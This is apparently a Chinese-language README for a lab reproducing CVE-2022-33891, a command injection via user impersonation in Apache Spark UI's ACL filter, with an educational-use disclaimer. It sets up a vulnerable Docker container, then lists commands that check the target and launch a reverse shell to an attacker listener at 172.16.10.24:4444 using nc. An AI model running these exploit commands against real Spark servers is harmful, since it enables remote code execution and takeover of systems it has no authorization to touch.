⚠️ 仅用于教育和授权的安全研究目的
非常感谢原始 PoC 作者 AkbarTrilaksana
Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的功能。借助身份验证过滤器,它可以检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,HttpSecurityFilter 中的一条代码路径可能允许某人通过提供任意用户名来执行身份冒充。恶意用户随后可能能够访问一个权限检查函数,该函数最终会根据其输入构建 Unix shell 命令并执行。这将导致以当前运行 Spark 的用户身份执行任意 shell 命令。此漏洞影响 Apache Spark 3.0.3 及更早版本、3.1.1 至 3.1.2 版本,以及 3.2.0 至 3.2.1 版本。
首先,克隆仓库
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
切换目录
cd CVE-2022-33891
安装依赖项:
pip3 install -r requirements.txt --break-system-packages
启动容器
docker compose up
在新的终端中,运行命令
docker exec -it CVE-2022-33891-spark-1 /bin/bash
在容器的 bash 会话中,输入:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
(可选)使用 cat 查看 spark-defaults.conf 的内容,以确保其看起来正确。
退出交互式 bash shell,并按 Ctrl-C 停止 docker-compose 进程。
容器正常关闭后,重新运行 docker-compose up
docker compose up
检查目标是否存在漏洞:
python3 poc.py -u http://localhost -p 8080 --check
从攻击者的角度来看,远程代码执行对于获取交互式 shell 至关重要。因此,执行以下命令将基于 bash 在攻击者的 4444/tcp 端口上触发一个 telnet 反向 shell:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444